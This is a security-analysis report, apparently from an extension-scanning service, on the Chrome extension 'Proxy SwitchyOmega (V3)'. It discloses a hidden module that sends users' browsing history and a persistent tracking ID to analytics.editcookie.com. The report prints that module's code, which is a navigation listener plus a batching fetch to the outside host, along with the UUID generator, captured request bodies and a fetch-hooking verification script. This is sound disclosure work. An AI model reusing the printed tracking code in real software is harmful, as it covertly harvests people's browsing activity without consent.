Is Proxy SwitchyOmega (V3) safe?

High risk

This extension lets you manage and switch between multiple proxy configurations from the browser.

It provides a popup and options page for saving proxy profiles, switching proxies with one click, and using Auto Switch rules to choose a proxy for specific websites. It supports proxy authentication, rule lists, and importing settings from earlier Switchy-related extensions.

Master Toolsv3.0.5Chrome Web Store
78Risk
Who publishes it

Master Tools - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Master Tools

Same store account

1 other listing published from this account, 412 users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Browsing History Sent to analytics.editcookie.com on Every Page Visit

Every navigation, SwitchyOmega V3 sends the visited URL, referrer, timestamp, and a tracking ID to analytics.editcookie.com.

Data batches, flushing at 10 entries or 60s, regardless of proxy config.

Confirmed via four captured POSTs.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any web page, any HTTP or HTTPS site.

The extension did this

The extension records the URL, the page you came from, the current time, and your permanent tracking ID, then posts them to analytics.editcookie.com.

This happens on every completed navigation, including pages unrelated to proxy use, without any notice in the extension's UI.

Captured request
POSThttps://analytics.editcookie.com/submit

4 POST requests with browsing URL payloads captured during a ~3-minute session. All 6 extension-originated (the background service worker) requests in the session targeted exclusively analytics.editcookie.com.

Headers
Content-Type
application/json;charset=utf-8
Body
{  "name": "SO",  "data": [    {      "url": "https://www.facebook.com/",      "timestamp": 1776523028025,      "user_id": "728c6b82b2144fee87fc75fc9ca574bb"    },    {      "url": "https://www.google.com/account/about/?hl=en-US",      "timestamp": 1776523029520,      "user_id": "728c6b82b2144fee87fc75fc9ca574bb"    }  ]}
Fields included in every batch sent to analytics.editcookie.com
  • Page you visited
    https://www.facebook.com/

    The full URL of every web page you navigate to, including path and query parameters.

  • Page you came from
    https://www.google.com/search?q=facebook+login

    The URL of the previous page you were on, builds a chain of your browsing activity.

  • Timestamp
    1776523028025

    The exact millisecond each page was visited.

  • Your tracking ID
    728c6b82b2144fee87fc75fc9ca574bb

    A persistent identifier unique to your browser profile, included in every request so your visits can be linked across sessions and devices.

The code that does this

The code responsible, from the extension's page_statistics.js:

Readable version

Navigation listener — fires on every completed page load

// Every time a tab finishes loading a page, this listener fires.// It resolves the referrer from tab state, then calls reportAction().chrome.tabs.onUpdated.addListener((tabId, changes, { url, openerTabId }) => {  if (changes.status === 'complete') {    const info = tabInfo(tabId);    let referrer = info.url;          // previous URL on this tab    // ... opener/referrer resolution ...    if (isValidPage(url) && url !== referrer && lastReport !== url + tabId) {      reportAction(url, referrer);    // queues a record for exfil      lastReport = url + tabId;    }    tabs[tabId] = { url };  }});

SendData class — batches records and POSTs them

// Collects navigation records and sends them to analytics.editcookie.com.// Flushes when 10 records accumulate OR every 60 seconds.class SendData {  constructor() {    this.server_url = 'https://analytics.editcookie.com/';    this.maxQueueSize = 10;           // flush at 10 records    this.maxTime = 60_000;            // or every 60 seconds    // ...    this._timer(5000);                // checks every 5 seconds  }  async _send(data) {    await fetch(this.server_url + '/submit', {      method: 'POST',      headers: { 'Content-Type': 'application/json;charset=utf-8' },      body: JSON.stringify({ name: 'SO', data }),  // 'SO' = SwitchyOmega    });  }}

Record format — what gets queued per page visit

// Each navigation pushes one record onto the queue.async function reportAction(url, referrer) {  sendData.push({    url: url,           // the page you visited    referrer: referrer, // where you came from    timestamp: Date.now(),    user_id: userId,    // persistent UUID from chrome.storage.sync  });}
Where your browsing history is sent
    • analytics.editcookie.com

    Receives every browsing URL and referrer via POST /submit. editcookie.com hosts the unrelated 'Edit Cookie' extension, not part of SwitchyOmega's proxy purpose.

Reproduce it yourself

Intercepts fetch() calls in the extension's service worker and logs any requests to analytics.editcookie.com to the console, letting you confirm the exfiltration without external tools.

Requires
  • Chrome with Developer mode enabled
proxy-switchyomega-traffic-check.js · js
// proxy-switchyomega-traffic-check.js// Paste into the DevTools console of the Proxy SwitchyOmega service worker// to observe outbound analytics requests in real time.(function () {  const originalFetch = self.fetch.bind(self);  self.fetch = async function (input, init) {    const url = typeof input === 'string' ? input : input.url;    if (url.includes('analytics.editcookie.com')) {      let body = '(no body)';      try {        body = init && init.body ? JSON.parse(init.body) : '(no body)';      } catch {}      console.warn('[PSO-TRACKER] Outbound analytics request:', url, body);    }    return originalFetch(input, init);  };  console.log('[PSO-TRACKER] Installed. Navigate to any page to capture analytics requests.');})();
How to run it
  1. 1Open chrome://extensions, enable Developer mode.
  2. 2Find SwitchyOmega V3, click 'Service Worker' for DevTools.
  3. 3Paste this script into Console, Enter.
  4. 4Visit any site. Watch [PSO-TRACKER] lines for the URL and payload sent.

Persistent Tracking UUID Synced via chrome.storage.sync Across Sessions

On first run, SwitchyOmega V3 generates a UUID stored in storage.sync under 'user_id', tying it to your Google account across devices.

It rides every POST to analytics.editcookie.com, confirmed at startup and in all four captured POSTs.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You install Proxy SwitchyOmega V3 for the first time.

The extension did this

The extension generates a permanent tracking identifier and saves it to chrome.storage.sync, where Chrome automatically syncs it to every device logged into your Google account.

From then on, this identifier is attached to every browsing-history record the extension sends to analytics.editcookie.com.

What's stored on your device

Read from storage.sync at startup, appeared in all four POSTs. Storage.sync copies it to any device signed into the same Google account.

Location
chrome.storage.sync key 'user_id'
Contents
728c6b82b2144fee87fc75fc9ca574bb
The code that does this

UUID generation and storage from page_statistics.js:

Readable version

UUID retrieval and creation — annotated

// On every startup: read the tracking UUID from chrome.storage.sync.// If not present (first install), generate one and save it.async function getUserIdFromStore() {  const result = await chrome.storage.sync.get(['user_id']);  let uuid = result['user_id'];  if (uuid) {    return uuid;  // already exists — reuse the same ID forever  }  // First run: make a new UUID and persist it  uuid = makeUUID();  await chrome.storage.sync.set({ user_id: uuid });  // syncs to Google account  return uuid;}// Produces a 32-char hex UUID-like string using Math.random().// Note: not cryptographically random, but sufficient for tracking.function makeUUID() {  return 'xxxxxxxxxxxx4xxxyxxxxxxxxxxxxxxx'.replace(/[xy]/g, function (c, offset) {    return (c === 'x' ? (16 * Math.random()) | 0 : (3 & offset) | 8).toString(16);  });}
How the tracking UUID appears in each POST request body
  • Your tracking ID (user_id)
    728c6b82b2144fee87fc75fc9ca574bb

    A permanent identifier generated once and reused in every upload, tying your visits across sessions and devices to one profile.

  • Page visited (url)
    https://www.facebook.com/

    The full URL of the page, transmitted alongside the user_id so the server can associate each visit with your persistent profile.

  • Timestamp
    1776523028025

    The millisecond timestamp of the visit, lets the server reconstruct your browsing timeline.

Server that receives the UUID and browsing history
    • analytics.editcookie.com

    Receives the persistent UUID with every visited URL via POST /submit. editcookie.com is tied to a separate extension, 'Edit Cookie', unrelated to SwitchyOmega's proxy function.

Browsing Data Sent to Unrelated Third-Party Domain Not Disclosed in Listing

SwitchyOmega V3 presents as a proxy utility with no analytics in its listing.

Its source adds page_statistics.js, absent upstream, sending URLs and a UUID to analytics.editcookie.com.

All 6 session requests went there, no proxy traffic.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-319
Source
Dynamic sandbox
What actually happens
You did this

You install Proxy SwitchyOmega V3, expecting a proxy-management tool.

The extension did this

The extension sends your full browsing history to analytics.editcookie.com, a domain owned by the publishers of a separate extension, not related to any proxy functionality.

The Chrome Web Store listing does not disclose this data collection. The page_statistics.js file that performs it does not appear in the original open-source Proxy SwitchyOmega repository.

The code that does this

x-background.js shows page_statistics.js appended after all legitimate extension modules:

Readable version

The same file, annotated — page_statistics.js is the sole addition

// Service worker entry point for Proxy SwitchyOmega V3.// All imports up to background.js are standard proxy-management modules.import "./js/background_preload.js"                      // standardimport "./idb-keyval.js"                                 // standardimport "./localstorage-polyfill.js"                      // standardimport "./csso.js"                                       // standardimport "./js/log_error.js"                               // standardimport "./js/omega_debug.js"                             // standardimport "./js/omega_pac.min.js"                           // standardimport "./js/omega_target.min.js"                        // standardimport "./js/omega_target_chromium_extension.min.js"     // standardimport "./img/icons/draw_omega.js"                       // standardimport "./js/background.js"                              // standardimport "./page_statistics.js"  // <-- NOT in the original open-source repo
Captured request
POSThttps://analytics.editcookie.com/submit

All 6 extension-originated (the background service worker) network requests during the dynamic analysis session targeted analytics.editcookie.com/submit. No requests to proxy configuration endpoints, PAC file servers, or any other destination were observed.

Headers
Content-Type
application/json;charset=utf-8
Body
{  "name": "SO",  "data": [    {      "url": "https://www.facebook.com/",      "timestamp": 1776523028025,      "user_id": "728c6b82b2144fee87fc75fc9ca574bb"    }  ]}
All network destinations observed from this extension
    • analytics.editcookie.com

    Sole observed destination. Receives visited URLs, referrers, timestamps, and a tracking UUID. editcookie.com is tied to the 'Edit Cookie' extension, unrelated to proxy switching.

No proxy-related network activity observed

During the dynamic analysis session, the extension's service worker made six network requests — all to analytics.editcookie.com. No requests were made to proxy configuration servers, PAC file endpoints, or any destination related to the proxy-switching functionality the extension is listed as providing. We cannot conclude from a single session that the proxy functionality is non-functional, but all captured traffic was attributable solely to the analytics module.

What it can do

Permissions this extension asks for, as declared in version 3.0.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Route all of your browsing through a server of its choosing

    proxy

  • See the address and title of every tab you have open

    tabs

  • Schedule its own background tasks

    alarms

  • Store data in your browser

    storage

  • Watch every request your browser makes

    webRequest

  • Add items to the right-click menu

    contextMenus

webRequestAuthProvider
Updated 30 September 2026hihblcmlaaademjlakdpicchbjnnnkbo